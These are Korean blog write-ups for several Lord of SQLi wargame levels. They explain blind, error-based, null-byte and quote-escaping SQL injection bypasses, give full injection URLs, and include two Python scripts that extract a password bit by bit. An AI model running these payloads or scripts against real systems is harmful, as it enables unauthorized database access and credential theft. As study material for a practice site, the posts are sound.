정상적인 값을 입력하여 정상 결과를 출력 후, 맞는지 안 맞는지 판단하는 이전의 기법과는 별개로, 원하는 결과가 나오지 않을 시 에러를 발생시켜야 하는 문제입니다.


이를 Error Based SQL Injection이라고 합니다.

단, 여기서는 Error Based Blind SQL Injection인 게 조금 다른 것이지요.




 

 Error Based Blind SQL Injection


MySQL 에서 에러를 발생시킬 수 있는 방법은 다양합니다. 하지만 참일 때와 거짓일 때 구분하여 에러를 발생시키는 방법은 제한되어 있습니다. 일단은 에러를 이용하여 Blind SQL Injection을 하는 방법을 알아보겠습니다.


 

 if() 함수로 참일 때, 거짓일 때 구분


MySQL에서 if() 함수를 사용하면 참일때와 거짓일 때 에러를 구분하여 발생시킬 수 있게 만들 수 있습니다. if 함수는 다음과 같은 방법으로 사용할 수 있습니다.


if( 조건문 , 참이면 여기를 실행 , 거짓일 때 여기를 실행)

if( 1=2, 'True', 'False'); -- false

if( 1=1, 'True', 'False'); -- true


 

 에러 발생


에러를 발생시킬 방법은 다음과 같습니다.

만약 select 1 union select 2를 하게 되면 정상적으로 값이 출력될 것입니다.

select 1 union select 2;


하지만 다음과 같이 사용했다면 에러가 발생할 것입니다.

select if(1=1, (select 1 union select 2), 2);


여기서 나타난 에러는 ERROR 1242 (21000) : Subquery returns more than 1 row 라고 나타납니다.


이는 한 개의 row에 두 개 이상의 값이 한 번에 들어와지기 때문입니다.

비유하자면, 한 개의 박스 안에 두 개의 row가 들어갈 수 없기 때문에 하나의 값만 리턴하라! 라는 뜻입니다.


select 1 union select 2를 하게되면 다음과 같은 값이 select 됩니다.

1

1

2


만약 select if(1=1, (select 1 union select 2), 2);를 하게 되면 다음과 같이 값이 반환됩니다.

if(1=1, (select 1 union select 2), 2)

1

2


사실 위와 같이 반환되는 것이 말이 안 됩니다. 하나의 row에 두 개의 row 값이 들어갈 수는 없기 때문입니다.

따라서 위와 같은 에러를 발생시킬 수 있게 됩니다.


 

 

 문제 풀이(쿼리)

 

 

먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.

 

 

 

 비밀번호 길이 알아내기


MySQL 함수인 if 함수와 length 함수를 이용하여 비밀번호의 길이를 알아내보도록 합시다.

아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20id=%27admin%27%20and%20if(length(pw)=1,1,(select%201%20union%20select%202))%23

 

위의 쿼리는 pw 길이가 1이면 1을 반환하게하여 참이 되게 하고, 아니면 (select 1 union select 2)를 반환하게 하여 에러를 발생시키도록 하였습니다.

이는 pw=' or id='admin' and if(length(pw)=1,1,(select 1 union select 2))%23 으로 작성하였습니다.

 

그러나 위의 쿼리의 경우 참이 아니기 때문에 에러가 발생하게 됩니다. 만약 에러가 발생하지 않는다면, 비밀번호 길이를 알 수 있습니다.

 

이제 비밀번호를 알아내야 합니다.

 

 

 

 비밀번호 값 알아내기

각 한 글자를 비교하는 쿼리를 만들어보도록 합시다.

 

 

  https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20id=%27admin%27%20and%20if(substr(lpad(bin(ord(substr(pw,1,1))),16,0),1,1)=1,1,(select%201%20union%20select%202))%23

 

위의 쿼리는 다음과 같은 값이 들어가 있습니다.

' or id='admin' and if(substr(lpad(bin(ord(substr(pw,1,1))),16,0),1,1)=1,1,(select 1 union select 2))%23

여기서는 substr 함수를 그대로 사용하였습니다. 또한 비트 수는 16으로 맞춰줬습니다. 혹시 8비트가 아닐 수 있으니ㅎㅎ..


만약 pw 값의 1번째 글자에서 1번째 비트가 1이면 참, 아니면 에러가 발생하는 코드입니다. 즉, 에러가 발생하면 0입니다.

 

이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.

 

 

 

 

 

 문제 풀이(소스)

 

import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw='
headers = {'Cookie': 'PHPSESSID=u8lg54n9mc59utvrhpi6krvvq6'}

# get length of column  ==========================

passwordLen = 0

for i in range(1, 100):
	payload = "' or id='admin' and if(length(pw)={},1,(select 1 union select 2))%23".format(i)
	res     = sess.get(url=URL+payload, headers=headers, verify=False)

	if 'Subquery' in res.text:
		pass
	else:
		passwordLen = i
		break

print('[=] Find Password Length : %d' % passwordLen)


bitLen   = 16
Password = ''

for j in range(1, passwordLen+1):

	bit = ''

	for i in range(1, bitLen+1):
		payload = "' or id='admin' and if(substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1,1,(select 1 union select 2))%23".format(j, bitLen, i)
		res     = sess.get(url=URL+payload, headers=headers, verify=False)

		if 'Subquery' in res.text:
			# Error Occured!! It is not 1 
			bit += '0'
		else:
			# false!!
			bit += '1'

	Password += chr(int(bit, 2))
	print('[=] Find Password(count %02d) : %s (bit : %s) (hex : %s)' % (j, chr(int(bit, 2)), bit, hex(int(bit, 2))[2:]))


print('[=] Find Password : %s' % Password)

 

위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.

 

만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.

 

python의 pip 명령이 들지 않을 때(python pip error)링크

 

또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.

 

Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.

 

 

 

 

LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 xavis에 이어 dragon 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

dragon은 단순 필터링 우회문제이지만, 주석을 어떻게 우회할지 고민이 필요합니다.


근데 드래곤 그림 넘나 귀여운 것...



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>


위의 문제에서 6번에서는 이미 조건문에 주석이 작성되어 있는 것을 볼 수 있습니다.

즉, id='admin' 뒤에는 모두 주석처리고 되어버리고 맙니다.

또한 여기서는 주석 뒤에 있는 영역에만 값을 입력할 수 있게 되기 때문에 이를 어떻게 우회할지 고민해야합니다.





 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 pw쪽에 값 삽입


이 문제에서는 개행문자를 이용해야 합니다.

개행문자를 사용하게 되면 다음과 같은 효과를 받을 수 있습니다.


개행문자와 인자값 삽입 :

 select id from prob_dragon where id='admin'# and pw=''%0a

 and pw='' or id='admin'


그렇게 되면 위와 같이 쿼리가 수행되게 됩니다.

노랑색 박스로 된 부분은 주석처리가 되어 실행되지 않게 되지만, 개행문자 다음에 입력된 쿼리는 위의 주석처리되지 않은 쿼리와 함께 동작하게 됩니다. 마치 다음과 같이 됩니다.


 select id from prob_dragon where id='admin' and pw='' or id='admin'




LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 nightmare에 이어 xavis 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

xavis문제를 들어가기 전에 몬스터 이미지를 보아하니.... 큐베입니다. 꼬노야로.


부셔버리가써..



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>


위의 문제에서는 먼저 pw에 값을 넣어야함을 알 수 있습니다.

필터링은 6번 라인에서 regex, like가 되어 있는 것을 볼 수 있습니다. 사실 regex는 한 번도 안 써봐서 왜 필터링을 수행했는지는 잘 모르겠습니다. ㅎㅎ....


또한 11번 라인에서는 addslashes라는 함수를 통해 입력한 값을 중간에 한 번 필터링을 걸어줍니다.

여기서는 Blind SQL Injection 기법을 통해 풀이를 진행해야 합니다.


이러한 이유는 15번 라인에서 답을 구할 수 있습니다.


먼저 2~10번 라인의 소스를 위쪽 PHP소스, 12~16번 라인까지의 소스아래쪽 PHP소스라고 표현하겠습니다.


위쪽 PHP 소스에서는 addslashes 함수를 거치지 않기 때문에 제대로 싱글쿼터, 더블쿼터 등의 문자를 삽입하여 SQL Injection을 수행할 수 있습니다. 그러나 아래쪽 PHP 소스에서는 addslashes 함수를 거치기 때문에 이러한 기법의 SQL Injection이 불가능합니다. 그리고 결정적으로 15번 라인에서 pw에 입력한 값과 query를 실행하여 돌아온 값이 일치해야 문제가 풀리도록 하였습니다.


즉 우리가 정확한 Password를 입력해야함을 말합니다...!!


그렇다면 SQL Injection 에서 우리가 얻을 수 있는 값은 무엇인가를 봐야 합니다.

딱히 리턴되어 돌아오는 값을 알 수 없습니다. 오직 참이냐 거짓이냐 혹은 값이 있냐 없냐만 알 수 있습니다!


따라서 참이냐 거짓이냐를 알 수 있다면 이는 Blind SQL Injection을 이용해야 함을 말합니다.





 

 문제 풀이(쿼리)


먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.



 

 비밀번호 길이 알아내기


먼저 우리는 table의 pw라는 컬럼을 알고 있습니다. 그렇다면 MySQL 함수인 length 함수를 이용하여 비밀번호의 길이를 알아낼 수 있습니다.

아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20or%20id=%27admin%27%20and%20length(pw)>0%23


위의 쿼리는 id가 admin이고, pw길이가 1보다 큰 값이 있는지 알아내기 위한 쿼리입니다.

이는 pw=' or id='admin' and length(pw)>0%23으로 작성하였습니다.

만약 위의 조건에 맞는 값이 있다면 값이 반환되어 $result에 들어갈 것이고, if($result['id'])가 참이기 때문에 Hello admin이라는 값이 나타날 것입니다.


pw 테이블의 길이를 알아내는 것은 어렵지 않아 보입니다. 적당한 비교 연산자를 통해 값을 알아낼 수 있습니다.



 

 비밀번호 값 알아내기


각 한 글자를 비교하는 쿼리를 만들어보도록 합시다.


다음과 같은 쿼리를 통해 각 문자의 비트가 0인지 1인지 알 수 있습니다.

 https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20or%20id=%27admin%27and%20substr(lpad(bin(ord(substr(pw,1,1))),8,0),1,1)=1%23


위의 쿼리는 다음과 같은 값이 들어가 있습니다.

pw=' or id='admin' and substr(lpad(bin(ord(substr(pw,1,1))),8,0),1,1)=1%23


단, 여기서 위와 같은 쿼리로 값을 뽑아낸다면 다음과­ 같은 값을 출력합니다.. ㅠㅠ


뱉어내는 값 : ÆÆ­­??­


처음에는 제가 뭔가 잘못한 게 아닌가 하는 착각을 했습니다.

그러나 한국인이라면 Unicode 혹은 UTF-8을 잊으면 안 됩니다.


어쩌면 한 글자가 2바이트일 수 있다는 것을 간과해서는 안 됩니닷!!



 

 문제 풀이(소스)


import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw='
headers = {'Cookie': 'PHPSESSID=r80hv0bdf5fppcg39ghfdo48l5'}

# get length of column  =============

passwordLen = 0

for i in range(1, 100):
  payload = "' or length(pw)=" + str(i) + " and id='admin"
  res     = sess.get(url=URL+payload, headers=headers, verify=False)

  if 'Hello admin' in res.text:
    passwordLen = i
    break
  else:
    pass

print('[=] Find Password Length : %d' % passwordLen)


bitLen   = 16
Password = ''

for j in range(1, passwordLen+1):

  bit = ''

  for i in range(1, bitLen+1):
    payload = "' or id='admin' and substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1%23".format(j, bitLen, i)
    res     = sess.get(url=URL+payload, headers=headers, verify=False)

    if 'Hello admin' in res.text:
      # true!! 
      bit += '1'
    else:
      # false!!
      bit += '0'

  Password += chr(int(bit, 2))
  print('[=] Find Password(count %02d) : %s (bit : %s) (hex : %s)' % (j, chr(int(bit, 2)), bit, hex(int(bit, 2))[2:]))


print('[=] Find Password : %s' % Password)


위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.


만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.


python의 pip 명령이 들지 않을 때(python pip error)링크


또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.


Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.





LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 succubus에 이어 nightmare 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

nightmare은 단순한 필터링 문제가 아닙니다. 여기서는 딱히 필터링하는 것도 없고, 단지 입력 값이 6글자라는 것 뿐입니다.


6글자로 문제를 해결해보도록 합시다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>


위의 문제에서 6번 라인에 나타나 있는 특징은 글자가 6글자를 넘으면 안 된다는 제약사항입니다.

그 외에는 특별하게 필터링 된 건 없어보입니다.


또 여기서 특이한 점은 pw 쿼리를 괄호로 묶었다는 점입니다.

이 괄호를 이용하여 어떤 걸 할 수 있는지 알아봐야겠습니다.




 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 자동 형 변환(묵시적 형 변환 - Auto casting)


이 문제에서는 자동 형 변환에 대해 이해가 필요합니다.

자동 형 변환이란 조건절에 있는 데이터 타입이 다르면 '우선 순위가 있는 쪽'으로 '형 변환'이 내부적으로 발생하게 되는 것을 말합니다.


자동 형 변환의 규칙은 다음과 같습니다.


1. 묵시적 형변환으로 풀 테이블 스캔이 발생한다.(테이블의 내용을 전체 다 살펴봄)

2. 기본적으로 문자열은 0으로 치환된다. 따라서 문자와 숫자 0을 비교하면 참이다.

3. 문자열과 숫자를 비교할 때 가장 처음 글자와 숫자가 일치하는지 비교한다. 일치하면 참, 다르면 거짓이다.


자세하게 설명하기 위해 다음과 같은 예시 테이블이 있다고 가정해봅시다.


 idx(INT UNSIGNED)

name(VARCHAR) 

 id(VARCHAR)

 password(VARCHAR)

1

name1

id1

password1

2

name2

id2

password2

3

1name

1id

1password

4

2name

2id

2password

5

0

0

0

6

1

1

1

7

0name

0id

0password

8

name0

id0

password0


위의 테이블을 기준으로 다음과 같은 테스트를 수행해보도록 하겠습니다.




 

 자동 형 변환 테스트(문자열 컬럼에 숫자 넣기)


만약 문자열 컬럼에 숫자로 검색하는 쿼리를 다음과 같이 짜보았습니다.


 SELECT * FROM testtable WHERE id=0;


id 컬럼은 VARCHAR로 문자열 컬럼입니다. 문자열 컬럼에 숫자 0으로 검색 조건을 넣어주면 다음과 같은 결과가 나타나게 됩니다.

(설명을 쉽게 하기 위해서 다소 표현이 이상할 수 있습니다. ㅠㅠ)


idx(INT UNSIGNED)

name(VARCHAR)

id(VARCHAR)

password(VARCHAR)

1

name1

id1

password1

2

name2

id2

password2

5

0

0

0

7

0name

0id

0password

8

name0

id0

password0


이러한 결과가 나타나는 이유는 자동 형 변환의 규칙을 통해 알 수 있습니다.

id 컬럼의 문자열과 숫자를 비교하여 나타난 결과 중, 1,2,8번 컬럼은 첫 번째 글자가 문자이기 때문에, 문자는 0으로 변하게 된다는 규칙에 따라 참이 되었습니다. 이는 다음과 같이 풀어서 해석할 수 있습니다.


1. 컬럼의 첫 문자 'i'

2. 숫자와 비교하기 위해 이를 0으로 변환

3. 0으로 변한 'i'와 0이 같은가?

4. 같으므로 참

5. 검색 결과에 반영


그리고 5, 7번 컬럼은 첫 번째 숫자가 0이기 때문에 숫자와 숫자가 일치하므로 참이되었습니다. 이는 다음과 같이 플어서 해석할 수 있습니다.


1. 컬럼의 첫 문자 '0'

2. 첫 문자가 숫자이므로 숫자로 변경한다.

3. 첫 문자 '0'은 숫자 0으로 치환되었다.

4. 치환된 숫자와 비교할 숫자 0이 일치하므로 참

5. 검색 결과에 반영



만약 다음과 같은 쿼리를 사용하게 되면 결과가 달라지게 되겠습니다.


 SELECT * FROM testtable WHERE id=1;


idx(INT UNSIGNED)

name(VARCHAR)

id(VARCHAR)

password(VARCHAR)

3

1name

1id

1password

6

1

1

1


위의 결과가 나타나게되는 이유는 다음과 같이 풀어서 해석할 수 있습니다.


1. 컬럼의 첫 문자 '1'

2. 첫 문자가 숫자이므로 숫자로 변경한다.

3. 첫 문자 '1은 숫자 1로 치환되었다.

4. 치환된 숫자와 비교할 숫자 1이 일치하므로 참

5. 검색 결과에 반영


나머지 컬럼은 문자 == 0, 첫 번째 숫자가 1이 아님, 과 같은 이유로 거짓이 되어 검색되지 않습니다.


위의 설명은 이해하기 쉽게 하기 위해 다소 부족한 설명입니다.


정리하자면, 첫 문자가 아니라 첫 문자부터 뒤로 쭉 읽어들인 후, 숫자가 일치하는지 비교하게 된다는 것입니다.




 

 자동 형 변환 테스트(숫자 컬럼에 문자열 넣기)


만약 숫자 컬럼에 문자열로 검색하는 쿼리를 다음과 같이 짜보았습니다.


 SELECT * FROM testtable WHERE idx='1';


idx 컬럼은 UNSIGNED INT로 문자열 컬럼입니다. 여기에 문자 '1'을 검색하라, 라고 조건을 주게 되면, 여기서도 마찬가지로 풀 테이블 스캔이 발생하게됩니다.

문자 안에 있는 숫자는 숫자로 바뀌게 되고, 그와 일치하는 숫자가 있는지 확인하게 됩니다.


여기서 숫자 1의 컬럼이 결과로 나타나게 됩니다.


만약 다음과 같은 쿼리를 실행했을 경우에는 조금 다른 결과가 나오게 됩니다.


 SELECT * FROM testtable WHERE idx='a';


위의 쿼리는 문자를 삽입하였기 때문에, idx 컬럼에 숫자가 0으로 설정된 값만 반환되게 됩니다.

문자는 0으로 취급되기 때문입니다.


위와 같은 자동 형 변환(묵시적 형 변환)을 통해 SQL Injection을 수행할 수 있습니다.



 

 pw에 풀이 쿼리 삽입


여기서 이용할 자동 형 변환의 규칙은 문자열은 숫자 0과 같다, 라는 규칙입니다.

다음과 같은 방법으로 값을 넣어주면 됩니다.


https://los.rubiya.kr/chall/nightmare_be1285a95aa20e8fa154cb977c37fee5.php?pw=%27)=0;%00


위와 같은 값을 삽입하게 되면 다음과 같은 쿼리 형태가 됩니다.


 select id from prob_nightmare where pw=('')=0;') and id!='admin'


여기서 유의해야할 점은 MySQL로 넘어가야 하는 쿼리를 중간에 잘라주어야 한다는 것입니다.

위의 쿼리를 모두 보내게 되면 에러가 발생하게 됩니다.


그렇다면 우리는 select id from prob_nightmare where pw=('')=0;까지 깔끔한 문장을 전달하고 싶어집니다. 이를 위해서 %00 즉, NULL 값을 넣어줍니다.


이렇게 값을 넣어주게 되면 세미콜론 뒤에 따라오는 값들은 전달되지 않게 됩니다.


이유는, NULL 값을 정해줬으니, mysql_query() 함수에서 문자열이 끝이 세미콜론(;)까지구나, 하고 받아들이게 됩니다. 따라서 해당 함수를 통해 전달되는 값은 결국 select id from prob_nightmare where pw=('')=0; 값이 됩니다.



LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 zombie_assassin에 이어 succubus 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

succubus은 단순 필터링 우회문제이지만, 함수에서 어떻게 필터링을 했는지 주의깊게 살펴봐야 합니다.


근데 서큐버스 그림이 넘 안 이쁨 흑...



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[id])) exit("HeHe"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>


위의 문제에서 7번과 8번 라인에서 id와 pw로 받은 데이터 중 싱글쿼터를 필터링합니다.

여기서 preg_match 함수를 사용하였는데, 이 함수는 아직까지 잘 알려진 취약점이 있지 않습니다.


따라서 여기서 어떤 것이 필터링 됐고, 어떤 것이 필터링되지 않았는지 살펴보도록 합시다.


싱글쿼터는 필터링되어 있지만, 역슬레쉬(\)가 필터링되지 않았습니다.

여기서는 역슬레쉬를 이용하고, 입력 구간이 두 군데 있다는 것을 이용해야 합니다.




 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 id와 pw쪽에 값 삽입


이 문제에서는 한 군데에 값을 집어넣었다고 해서 풀릴 수 있는 문제가 아닌 건가 싶습니다..

제가 풀이한 방법은 다음 원리를 이용한 것입니다.


먼저 일반 값을 넣었을 때와 역슬레쉬를 넣었을 때의 결과를 비교하면 다음과 같습니다.


일반 값을 넣었을 때 :

 select id from prob_succubus where id='abcd' and pw='' 


역슬레쉬를 넣었을 때 : 

 select id from prob_succubus where id='\' and pw='(여기서부터 에러)' 


이 원리를 이용하면 역슬레쉬를 넣음으로써 뒤의 싱글 쿼터를 입력된 값으로 변조할 수 있게 됩니다.


따라서 다음과 같은 방법으로 위의 취약점을 이용할 수 있습니다.

https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php?id=\&pw=or%201=1%23


위의 쿼리는 id=\&pw=or 1=1%23 이라고 작성해주었습니다.

위와 같이 입력해주게 되면 실제 쿼리는 다음과 같이 변하게 됩니다.


 query : select id from prob_succubus where id='\and pw='or 1=1#'


이처럼 \' and pw= 으로된 문자열 값이 id에 들어갔다고 인식되게 됩니다. 또한 pw에 입력한 or 1=1이 참으로 만들어줄 조건이 됩니다.


즉, id='문자열' or 1=1#'과 같은 형태가 된 것이나 다름 없다는 것입니다.



LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 assassin에 이어 zombie_assassin 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

zombie_assassin은 단순 필터링 우회문제이지만, 함수의 취약점을 잘 이해해야 풀 수 있는 문제입니다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(@ereg("'",$_GET[id])) exit("HeHe"); 
  if(@ereg("'",$_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>


위의 문제에서 7번과 8번 라인에서 id와 pw로 받은 데이터 중 싱글쿼터를 필터링합니다.

여기서 취약한 함수인 ereg 함수를 사용하였는데, 이 함수는 두 가지 취약점을 가지고 있습니다. 


첫 번째로는 대소문자를 구분한 상태로 데이터를 비교하여 검색한다는 점.

두 번째로는 Null문자를 넣으면 더 이상 문자열을 검사하지 않고 넘어간다는 취약점입니다.


첫 번째 취약점은 troll 문제에서 다뤄봤습니다.

[LOS - Lord Of SQL] Level 08 - troll 링크


두 번째 취약점은 이번 문제에서 다뤄보도록 하겠습니다.



 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 id 값 삽입(%00 + 싱글쿼터 + 주석)


이 문제에서는 싱글쿼터가 ereg 함수에 의해 필터링되지 않도록 하는 것이 핵심입니다. 즉, 필터링이 되지 않도록 하려면 다음과 같은 취약점을 이용해야 합니다.


$result = ereg('abcd', $_GET[id])을 실행할 때 문자열 'abcd' 값이 있는지 검사하게 됩니다.

만약 id에 다음과 같은 값이 들어갔다고 가정해봅시다.


id=ab%00cd


위와 같이 값을 입력하게 되면 NULL문자는 크게 의미가 없기 때문에 abcd로 인식될 것 같지만, NULL문자는 문자열의 끝을 나타내주는 값입니다. 따라서 ereg함수는 ab라는 값만 입력되었다고 인식하게 됩니다.

이렇게 abcd와 일치하지 않다고 판단하게 되기 때문에 필터링이 되지 않게 됩니다.


이 원리를 이용하면 싱글쿼터 앞에 %00 즉, NULL 문자를 입력하게 되면 싱글쿼터를 입력하더라도 인지하지 못하게 됩니다.


따라서 쿼리는 다음과 같이 만들 수 있습니다.

https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php?id=%00%27%20or%201=1%23


위의 쿼리는 id=%00' or 1=1%23 이라고 작성해주었습니다.

여기서 id 값에는 NULL이 들어가고 뒤에는 무조건 참인 조건이 따라오게 됩니다. 이후 # 주석으로 뒤에 있는 조건문을 주석처리해주면 모든 id 값이 리턴되게 될 것입니다.


문제에서는 admin이든, guest이든 어떤 값이든 상관없이 id값이 있다면 문제가 풀리게 되어 있습니다.


 query : select id from prob_zombie_assassin where id='' or 1=1#' and pw=''


물론 이러한 방법으로 pw에 그대로 똑같이 삽입할 수 있습니다.



+ Recent posts